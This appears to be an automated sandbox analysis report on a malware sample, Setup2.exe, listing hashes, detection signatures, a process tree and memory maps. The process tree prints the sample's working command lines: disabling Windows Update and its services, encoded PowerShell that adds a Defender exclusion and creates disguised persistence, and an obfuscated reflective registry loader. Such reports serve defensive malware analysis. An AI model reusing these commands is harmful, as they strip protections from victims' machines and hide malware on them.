Analysis
-
max time kernel
10s -
max time network
76s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
30-08-2022 13:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup2.exe
Resource
win7-20220812-en
General
-
Target
Setup2.exe
-
Size
4.5MB
-
MD5
7ede5e1864c423c59a1cb3bdcd7cc939
-
SHA1
f34f722ed04615441656ccef087e7b982ae09af9
-
SHA256
4754c64162263a12327a42ebcd023e7d0aaae400d02915c1c0ea972ce994842d
-
SHA512
47350800da01d48c6c5ae1a7132bb3f9ed1a247fefbd153b4ec890fd1946a5812ae901f18b775dcc30deeb61e712f42436fcee1ba642ed1b8086517b81c9c95b
-
SSDEEP
98304:dN1vJXa7MqmTWoYNag+r2UFKl2PjXvp0rcqh2MqnPs17EwoIsuimtRc:dLJXa7WTZrjPjxCh8M7VoJuicRc
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
Drops file in Drivers directory 1 IoCs
Processes:
Setup2.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts Setup2.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 388 takeown.exe 4756 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup2.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation Setup2.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
icacls.exetakeown.exepid process 4756 icacls.exe 388 takeown.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 18 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Setup2.exedescription pid process target process PID 2328 set thread context of 3904 2328 Setup2.exe conhost.exe -
Drops file in Windows directory 1 IoCs
Processes:
conhost.exedescription ioc process File created C:\Windows\Tasks\dialersvc32.job conhost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 4240 sc.exe 1316 sc.exe 4632 sc.exe 1452 sc.exe 1780 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 2236 reg.exe 3516 reg.exe 4660 reg.exe 3968 reg.exe 4024 reg.exe 316 reg.exe 1536 reg.exe 704 reg.exe 4000 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeSetup2.exepid process 5080 powershell.exe 5080 powershell.exe 2328 Setup2.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeSetup2.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exedescription pid process Token: SeDebugPrivilege 5080 powershell.exe Token: SeDebugPrivilege 2328 Setup2.exe Token: SeShutdownPrivilege 1540 powercfg.exe Token: SeCreatePagefilePrivilege 1540 powercfg.exe Token: SeShutdownPrivilege 4876 powercfg.exe Token: SeCreatePagefilePrivilege 4876 powercfg.exe Token: SeShutdownPrivilege 516 powercfg.exe Token: SeCreatePagefilePrivilege 516 powercfg.exe Token: SeShutdownPrivilege 2232 powercfg.exe Token: SeCreatePagefilePrivilege 2232 powercfg.exe Token: SeTakeOwnershipPrivilege 388 takeown.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
Setup2.execmd.execmd.exedescription pid process target process PID 2328 wrote to memory of 5080 2328 Setup2.exe powershell.exe PID 2328 wrote to memory of 5080 2328 Setup2.exe powershell.exe PID 2328 wrote to memory of 1432 2328 Setup2.exe cmd.exe PID 2328 wrote to memory of 1432 2328 Setup2.exe cmd.exe PID 2328 wrote to memory of 4204 2328 Setup2.exe cmd.exe PID 2328 wrote to memory of 4204 2328 Setup2.exe cmd.exe PID 1432 wrote to memory of 1316 1432 cmd.exe sc.exe PID 1432 wrote to memory of 1316 1432 cmd.exe sc.exe PID 1432 wrote to memory of 4632 1432 cmd.exe sc.exe PID 1432 wrote to memory of 4632 1432 cmd.exe sc.exe PID 4204 wrote to memory of 1540 4204 cmd.exe powercfg.exe PID 4204 wrote to memory of 1540 4204 cmd.exe powercfg.exe PID 1432 wrote to memory of 1452 1432 cmd.exe sc.exe PID 1432 wrote to memory of 1452 1432 cmd.exe sc.exe PID 4204 wrote to memory of 4876 4204 cmd.exe powercfg.exe PID 4204 wrote to memory of 4876 4204 cmd.exe powercfg.exe PID 1432 wrote to memory of 1780 1432 cmd.exe sc.exe PID 1432 wrote to memory of 1780 1432 cmd.exe sc.exe PID 4204 wrote to memory of 516 4204 cmd.exe powercfg.exe PID 4204 wrote to memory of 516 4204 cmd.exe powercfg.exe PID 1432 wrote to memory of 4240 1432 cmd.exe sc.exe PID 1432 wrote to memory of 4240 1432 cmd.exe sc.exe PID 1432 wrote to memory of 4660 1432 cmd.exe reg.exe PID 1432 wrote to memory of 4660 1432 cmd.exe reg.exe PID 4204 wrote to memory of 2232 4204 cmd.exe powercfg.exe PID 4204 wrote to memory of 2232 4204 cmd.exe powercfg.exe PID 1432 wrote to memory of 2236 1432 cmd.exe reg.exe PID 1432 wrote to memory of 2236 1432 cmd.exe reg.exe PID 1432 wrote to memory of 3968 1432 cmd.exe reg.exe PID 1432 wrote to memory of 3968 1432 cmd.exe reg.exe PID 1432 wrote to memory of 4024 1432 cmd.exe reg.exe PID 1432 wrote to memory of 4024 1432 cmd.exe reg.exe PID 1432 wrote to memory of 316 1432 cmd.exe reg.exe PID 1432 wrote to memory of 316 1432 cmd.exe reg.exe PID 1432 wrote to memory of 388 1432 cmd.exe takeown.exe PID 1432 wrote to memory of 388 1432 cmd.exe takeown.exe PID 1432 wrote to memory of 4756 1432 cmd.exe icacls.exe PID 1432 wrote to memory of 4756 1432 cmd.exe icacls.exe PID 2328 wrote to memory of 4284 2328 Setup2.exe powershell.exe PID 2328 wrote to memory of 4284 2328 Setup2.exe powershell.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe PID 2328 wrote to memory of 3904 2328 Setup2.exe conhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup2.exe"C:\Users\Admin\AppData\Local\Temp\Setup2.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG8AZAB2AHAAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAdAB5AGsAIwA+AA=="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AbgByACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAdABlAG0AcAAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHQAZQBtAHAALgBlAHgAZQAnACkAIAA8ACMAcQB3AHUAIwA+AA=="2⤵
-
C:\Users\Admin\AppData\Local\Temp\temp.exe"C:\Users\Admin\AppData\Local\Temp\temp.exe"3⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbgBuAGIAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABJAEEAYwB3AEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBaAFEAQgByAEEARwBFAEEASQB3AEEAKwBBAEEAPQA9ACIAJwApACAAPAAjAGoAbABvAGMAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBmAHgAeQB4ACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAdwBpAHcAaQAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHYAaAAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcAAyAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAYQBlAGIAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAaABnAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f33c2227-1b30-4dd7-8188-08ff070efb37}1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHIAcwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAZQBrAGEAIwA+AA=="1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD559d97011e091004eaffb9816aa0b9abd
SHA11602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA25618f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
SHA512d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5e77c06f62259f84b49e5e53588234472
SHA10ecc1af18ea48b0b19f4d3e8a43d70544f5e3179
SHA2560444ffa5552bc655e5764456ad319a5b1da990eba166f50151fbfab6bc847935
SHA5120d612004d2e150f7db17cea5039df88dde4e7a2413417f2eb709cfd6ce57202721d16582834cf648a934eb244d871e3a7f86f14fb275a2a4cbd61abd5c990c74
-
C:\Users\Admin\AppData\Local\Temp\temp.exeFilesize
7KB
MD5f321da5881a6aaeb53da13d5c075406b
SHA1979ed66205d2bad63fc016dc8c32cff6a2b6fc05
SHA256a6bdf9fcd293ff8169731da2a0a9501ad3a4fd14ce1559bc3f3d26dae9e6f57c
SHA512c7cf54223afcf437d7206e97ce1003ebf5ddc2b8aa986003f53068a4fd873346298bc998abf303bd54a94e83689ac34786e98deb34446862c1c344121d46851b
-
C:\Users\Admin\AppData\Local\Temp\temp.exeFilesize
7KB
MD5f321da5881a6aaeb53da13d5c075406b
SHA1979ed66205d2bad63fc016dc8c32cff6a2b6fc05
SHA256a6bdf9fcd293ff8169731da2a0a9501ad3a4fd14ce1559bc3f3d26dae9e6f57c
SHA512c7cf54223afcf437d7206e97ce1003ebf5ddc2b8aa986003f53068a4fd873346298bc998abf303bd54a94e83689ac34786e98deb34446862c1c344121d46851b
-
memory/316-153-0x0000000000000000-mapping.dmp
-
memory/388-154-0x0000000000000000-mapping.dmp
-
memory/516-146-0x0000000000000000-mapping.dmp
-
memory/592-201-0x00007FF862050000-0x00007FF862060000-memory.dmpFilesize
64KB
-
memory/704-174-0x0000000000000000-mapping.dmp
-
memory/964-175-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/964-169-0x0000000000B30000-0x0000000000B38000-memory.dmpFilesize
32KB
-
memory/964-167-0x0000000000000000-mapping.dmp
-
memory/992-187-0x0000000000000000-mapping.dmp
-
memory/1076-186-0x0000000001710000-0x0000000001746000-memory.dmpFilesize
216KB
-
memory/1076-191-0x0000000004200000-0x0000000004828000-memory.dmpFilesize
6.2MB
-
memory/1316-140-0x0000000000000000-mapping.dmp
-
memory/1352-176-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/1352-170-0x0000000000000000-mapping.dmp
-
memory/1432-137-0x0000000000000000-mapping.dmp
-
memory/1452-143-0x0000000000000000-mapping.dmp
-
memory/1536-172-0x0000000000000000-mapping.dmp
-
memory/1540-142-0x0000000000000000-mapping.dmp
-
memory/1592-185-0x0000000000000000-mapping.dmp
-
memory/1780-145-0x0000000000000000-mapping.dmp
-
memory/2212-182-0x0000000000000000-mapping.dmp
-
memory/2232-149-0x0000000000000000-mapping.dmp
-
memory/2236-150-0x0000000000000000-mapping.dmp
-
memory/2328-133-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/2328-173-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/2328-132-0x00000000008F0000-0x0000000000D76000-memory.dmpFilesize
4.5MB
-
memory/2328-139-0x000000001C760000-0x000000001C772000-memory.dmpFilesize
72KB
-
memory/2832-180-0x0000000000000000-mapping.dmp
-
memory/3116-189-0x0000000000000000-mapping.dmp
-
memory/3180-181-0x0000000000000000-mapping.dmp
-
memory/3516-179-0x0000000000000000-mapping.dmp
-
memory/3752-196-0x00007FF8A1FD0000-0x00007FF8A21C5000-memory.dmpFilesize
2.0MB
-
memory/3752-192-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3752-193-0x00000001400033F4-mapping.dmp
-
memory/3752-194-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3752-195-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3752-197-0x00007FF8A07D0000-0x00007FF8A088E000-memory.dmpFilesize
760KB
-
memory/3764-190-0x00007FF8A07D0000-0x00007FF8A088E000-memory.dmpFilesize
760KB
-
memory/3764-188-0x00007FF8A1FD0000-0x00007FF8A21C5000-memory.dmpFilesize
2.0MB
-
memory/3764-199-0x00007FF8A1FD0000-0x00007FF8A21C5000-memory.dmpFilesize
2.0MB
-
memory/3764-200-0x00007FF8A07D0000-0x00007FF8A088E000-memory.dmpFilesize
760KB
-
memory/3764-198-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/3764-184-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/3904-160-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3904-162-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3904-158-0x0000000140001844-mapping.dmp
-
memory/3904-165-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3904-157-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3904-159-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3968-151-0x0000000000000000-mapping.dmp
-
memory/4000-178-0x0000000000000000-mapping.dmp
-
memory/4024-152-0x0000000000000000-mapping.dmp
-
memory/4204-138-0x0000000000000000-mapping.dmp
-
memory/4212-183-0x0000000000000000-mapping.dmp
-
memory/4240-147-0x0000000000000000-mapping.dmp
-
memory/4284-156-0x0000000000000000-mapping.dmp
-
